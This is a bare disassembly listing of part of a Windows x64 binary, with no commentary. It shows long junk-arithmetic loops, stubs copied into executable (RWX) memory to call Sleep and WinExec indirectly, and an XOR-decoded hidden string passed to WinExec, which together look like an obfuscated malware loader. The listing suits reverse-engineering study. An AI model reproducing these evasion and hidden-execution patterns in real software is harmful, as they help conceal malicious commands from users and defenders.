mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140014430
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x3d8]
btc r12d, 0x1f
mov r13d, 5
mov r14d, dword [rbp + 0x3dc]
btc r14d, 0x1f
sub r14d, r12d
xor edi, edi
nop
mov r15d, edi
lea rcx, [rbp + 0x1990]
cmp r14d, 0xffffffff
jne 0x140014499
call fcn.14001e850
mov ecx, eax
jmp 0x1400144da
lea ebx, [r14 + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1400144d6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400144d6
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1400144c0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140014500
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r15b, 1
jne 0x1400145be
lea rcx, [rbp + 0x1990]
cmp r14d, 0xffffffff
jne 0x140014564
call fcn.14001e850
mov ecx, eax
jmp 0x1400145aa
lea ebx, [r14 + 1]
call fcn.14001e850
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1400145a6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400145a6
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140014590
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140014621
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.14001e850
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x1400145d0
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r15d
cmp r15d, 5
jl 0x140014483
sub r13, 1
jne 0x140014480
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rbp + 0x410]
test rcx, rcx
je 0x1400146a0
mov rax, qword [rbp + 0x420]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015a13
call fcn.14001f4b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x410], xmm0
xor r12d, r12d
mov qword [rbp + 0x420], r12
jmp 0x1400146a3
xor r12d, r12d
mov rdx, qword [rbp + 0x4f8]
cmp rdx, 0xf
jbe 0x1400146e4
inc rdx
mov rcx, qword [rbp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400146df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015a19
call fcn.14001f4b0
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp eax, 0x186a0
jl 0x140013c40
jmp 0x140013b90
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x3f8]
test rbx, rbx
je 0x140014797
mov rdi, qword [rbp + 0x400]
cmp rbx, rdi
je 0x140014742
mov esi, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x140014732
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x140014723
mov rbx, qword [rbp + 0x3f8]
mov rax, qword [rbp + 0x408]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14001477d
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400159ef
mov rcx, rbx
call fcn.14001f4b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3f8], xmm0
mov qword [rbp + 0x408], r12
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x68], 0x226
lea rcx, [rbp + 0x558]
call fcn.140001960
lea rdx, [rbp + 0x5518]
lea rcx, [rbp + 0x558]
call fcn.140001530
nop
mov ecx, r12d
mov rax, qword [0x1400524c0]
lea r14, [0x140000000]
lea rsi, [0x14001ddf0]
test rax, rax
je 0x14001480b
cmp rax, rsi
je 0x1400147f8
inc ecx
mov rax, qword [r14 + rcx*8 + 0x524c0]
test rax, rax
jne 0x1400147e2
jmp 0x14001480b
mov eax, ecx
mov r8, qword [r14 + rax*8 + 0x50b90]
test r8, r8
jne 0x140014901
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14001483a
mov r8, r12
jmp 0x1400148de
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014850
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140052e40]
mov qword [r14 + rax*8 + 0x524c0], rsi
mov qword [r14 + rax*8 + 0x50b90], r8
inc rax
mov qword [0x140052e40], rax
jmp 0x140014907
mov r13d, 3
lea rdx, [rbp - 0x68]
mov rcx, rbx
call r8
nop
mov rcx, qword [rbp + 0x558]
xor rcx, qword [rbp + 0x560]
mov qword [rbp + 0x558], rcx
mov rax, qword [rbp + 0x568]
mov qword [rax], rcx
mov rbx, qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rbp - 0x64], r12d
movups xmm0, xmmword [str._k_1.m_2s8__]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [0x1400449d8]
movups xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [0x1400449e8]
movups xmmword [rbp + 0x250], xmm0
cmp dword [0x14004e0a8], 2
jl 0x140014b34
movdqa xmm7, xmmword [0x140044a30]
mov edx, r12d
movdqa xmm5, xmmword [0x140044a90]
movdqa xmm6, xmmword [0x140044ab0]
movdqa xmm9, xmmword [str.bbbb]
movdqa xmm11, xmmword [0x140044ac0]
movdqa xmm0, xmmword [0x140044a70]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x230]
mov r8d, dword [rsp + 0x50]
movdqa xmm12, xmmword [0x140044a50]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm9
psubd xmm4, xmm0
andps xmm4, xmm12
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm9
psubd xmm4, xmm0
andps xmm4, xmm12
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x1400149c3
jmp 0x140014b91
lea r10, [rbp + 0x230]
mov r9d, r12d
nop
mov eax, 0x5397829d
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
add r8b, 0x3f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x30
jl 0x140014b40
lea rax, [rbp + 0x230]
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0x588]
call fcn.140001960
lea rdx, [rbp + 0x5518]
lea rcx, [rbp + 0x588]
call fcn.140001530
nop
mov ecx, r12d
lea rdi, [0x14001df80]
mov rax, qword [0x1400511d0]
test rax, rax
je 0x140014bfe
cmp rax, rdi
je 0x140014beb
inc ecx
mov rax, qword [r14 + rcx*8 + 0x511d0]
test rax, rax
jne 0x140014bd5
jmp 0x140014bfe
mov eax, ecx
mov r9, qword [r14 + rax*8 + 0x53e20]
test r9, r9
jne 0x140014cdf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140014c27
mov r9, r12
jmp 0x140014cbe
mov rax, rdi
mov rcx, r9
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014c30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400527e0]
mov qword [r14 + rax*8 + 0x511d0], rdi
mov qword [r14 + rax*8 + 0x53e20], r9
inc rax
mov qword [0x1400527e0], rax
lea r8, [rbp - 0x64]
lea rdx, [rbp + 0x138]
mov rcx, rbx
call r9
nop
mov rcx, qword [rbp + 0x588]
xor rcx, qword [rbp + 0x590]
mov qword [rbp + 0x588], rcx
mov rax, qword [rbp + 0x598]
mov qword [rax], rcx
call fcn.14001ecdc
mov edx, eax
lea rcx, [rbp + 0x2d20]
call fcn.14001d600
mov dword [rbp + 0x3e8], 0xffffff9c
mov dword [rbp + 0x3ec], 0x64
movdqa xmm0, xmmword [0x140044a80]
movups xmmword [rbp + 0x470], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0x148]
call fcn.140001580
mov qword [rbp + 0x140], 0x64
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x70]
call fcn.14001d9c0
lea rcx, [rbp + 0x458]
call fcn.140001960
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x458], xmm1
mov qword [rbp + 0x468], r12
lea rcx, [rbp + 0x150]
call fcn.14001d9e0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x458]
call fcn.14001d500
nop
lea rcx, [rbp + 0x40]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x150]
call fcn.14001d4b0
lea rcx, [rbp + 0x158]
call fcn.14001da30
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x48], rcx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x458]
call fcn.14001d500
nop
lea rcx, [rbp + 0x48]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x158]
call fcn.14001d4b0
lea rcx, [rbp + 0x160]
call fcn.14001da60
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x50], rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x458]
call fcn.14001d500
nop
lea rcx, [rbp + 0x50]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x160]
call fcn.14001d4b0
lea rcx, [rbp + 0x168]
call fcn.14001da90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x58], rcx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x458]
call fcn.14001d500
nop
lea rcx, [rbp + 0x58]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x168]
call fcn.14001d4b0
lea rcx, [rbp + 0x170]
call fcn.14001dac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x458]
call fcn.14001d500
nop
lea rcx, [rbp + 0x60]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x170]
call fcn.14001d4b0
lea rcx, [rbp + 0x178]
call fcn.14001daf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x68], rcx
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x458]
call fcn.14001d500
nop
lea rcx, [rbp + 0x68]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x178]
call fcn.14001d4b0
lea rcx, [rbp + 0x180]
call fcn.140001580
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.140001900
movsd xmm6, qword [0x140044a00]
test al, al
jns 0x140015275
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
mov rbx, qword [rbp + 0x460]
sub rbx, qword [rbp + 0x458]
sar rbx, 3
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x458]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x470]
call fcn.14001db20
movaps xmm5, xmm0
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x470]
call fcn.14001db20
movaps xmm1, xmm5
call fcn.1400017b0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x470]
call fcn.14001db20
movaps xmm1, xmm6
call fcn.140035950
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x470]
call fcn.14001db20
call fcn.140037560
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.legend_are_fine_label_that_and_the_of_was_in
lea rcx, [rbp + 0x5a0]
call fcn.14001d7b0
nop
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x5a0]
call fcn.140001720
lea rcx, [rbp + 0x528]
call fcn.140001960
lea rcx, [rbp + 0x528]
call fcn.14001d6d0
nop
lea rax, [rbp + 0x3e8]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x2d20]
mov qword [rbp + 0x1f8], rax
movaps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x260], xmm0
lea r8, [rbp + 0x260]
mov rdx, qword [rbp + 0x530]
mov rcx, qword [rbp + 0x528]
call fcn.14001dbb0
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x528]
call fcn.140001830
mov rdx, qword [rbp + 0x530]
mov rcx, qword [rbp + 0x528]
call fcn.14001dc10
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
mov ebx, eax
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
mov r8d, ebx
mov edx, eax
call fcn.140001930
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
test al, 1
jne 0x14001516f
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001517e
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
mov ebx, r12d
nop word [rax + rax]
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x470]
call fcn.14001db20
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x2d20]
test bl, 1
jne 0x1400151f5
lea rcx, [rbp + 0x3e8]
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140015216
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x470]
call fcn.14001db20
addsd xmm0, xmm10
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140015190
sub rdi, 1
jne 0x140015183
lea rcx, [rbp + 0x528]
call fcn.14001d670
nop
lea rcx, [rbp + 0x5a0]
call fcn.14001d750
sub rsi, 1
jne 0x140014f50
lea rcx, [rbp + 0x180]
call fcn.140001580
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.140001900
test al, al
js 0x140014f40
lea rsi, [0x14001ddf0]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x458]
call fcn.14001d530
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x70], 0x1c2
lea rcx, [rbp + 0x570]
call fcn.140001960
lea rdx, [rbp + 0x5518]
lea rcx, [rbp + 0x570]
call fcn.140001530
nop
mov ecx, r12d
mov rax, qword [0x1400524c0]
test rax, rax
je 0x1400152ec
cmp rax, rsi
je 0x1400152d9
inc ecx
mov rax, qword [r14 + rcx*8 + 0x524c0]
test rax, rax
jne 0x1400152c3
jmp 0x1400152ec
mov eax, ecx
mov r10, qword [r14 + rax*8 + 0x50b90]
test r10, r10
jne 0x1400153cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140015315
mov r10, r12
jmp 0x1400153ae
mov rax, rsi
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140015320
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140052e40]
mov qword [r14 + rax*8 + 0x524c0], rsi
mov qword [r14 + rax*8 + 0x50b90], r10
inc rax
mov qword [0x140052e40], rax
lea rdx, [rsp + 0x70]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x570]
xor rcx, qword [rbp + 0x578]
mov qword [rbp + 0x570], rcx
mov rax, qword [rbp + 0x580]
mov qword [rax], rcx
call fcn.14001ecdc
mov edx, eax
lea rcx, [rbp + 0x40b0]
call fcn.14001d600
mov dword [rbp + 0x3f0], 0xffffff9c
mov dword [rbp + 0x3f4], 0x64
movdqa xmm0, xmmword [0x140044a80]
movups xmmword [rbp + 0x480], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0x190]
call fcn.140001580
mov qword [rbp + 0x188], 0x64
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x10]
call fcn.14001d9c0
lea rcx, [rbp + 0x440]
call fcn.140001960
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x440], xmm1
mov qword [rbp + 0x450], r12
lea rcx, [rbp + 0x198]
call fcn.14001d9e0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x78], rcx
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x440]
call fcn.14001d500
nop
lea rcx, [rbp + 0x78]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x198]
call fcn.14001d4b0
lea rcx, [rbp + 0x1a0]
call fcn.14001da30
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x80], rcx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x440]
call fcn.14001d500
nop
lea rcx, [rbp + 0x80]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x1a0]
call fcn.14001d4b0
lea rcx, [rbp + 0x90]
call fcn.14001da60
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x88], rcx
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x440]
call fcn.14001d500
nop
lea rcx, [rbp + 0x88]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x90]
call fcn.14001d4b0
lea rcx, [rbp + 0x98]
call fcn.14001da90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 8], rcx
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x440]
call fcn.14001d500
nop
lea rcx, [rbp + 8]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0x98]
call fcn.14001d4b0
lea rcx, [rbp + 0xa0]
call fcn.14001dac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x440]
call fcn.14001d500
nop
lea rcx, [rbp + 0x38]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0xa0]
call fcn.14001d4b0
lea rcx, [rbp + 0xa8]
call fcn.14001daf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x440]
call fcn.14001d500
nop
lea rcx, [rbp + 0x18]
call fcn.14001d4b0
nop
lea rcx, [rbp + 0xa8]
call fcn.14001d4b0
lea rcx, [rbp + 0xb0]
call fcn.140001580
mov rcx, rax
lea rdx, [rbp + 0x10]
call fcn.140001900
test al, al
jns 0x14001595e
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
mov rbx, qword [rbp + 0x448]
sub rbx, qword [rbp + 0x440]
sar rbx, 3
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x440]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x480]
call fcn.14001db20
movaps xmm5, xmm0
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x480]
call fcn.14001db20
movaps xmm1, xmm5
call fcn.1400017b0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x480]
call fcn.14001db20
movaps xmm1, xmm6
call fcn.140035950
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x480]
call fcn.14001db20
call fcn.140037560
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.legend_are_fine_label_that_and_the_of_was_in
lea rcx, [rbp + 0x5c0]
call fcn.14001d7b0
nop
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x5c0]
call fcn.140001720
lea rcx, [rbp + 0x540]
call fcn.140001960
lea rcx, [rbp + 0x540]
call fcn.14001d6d0
nop
lea rax, [rbp + 0x3f0]
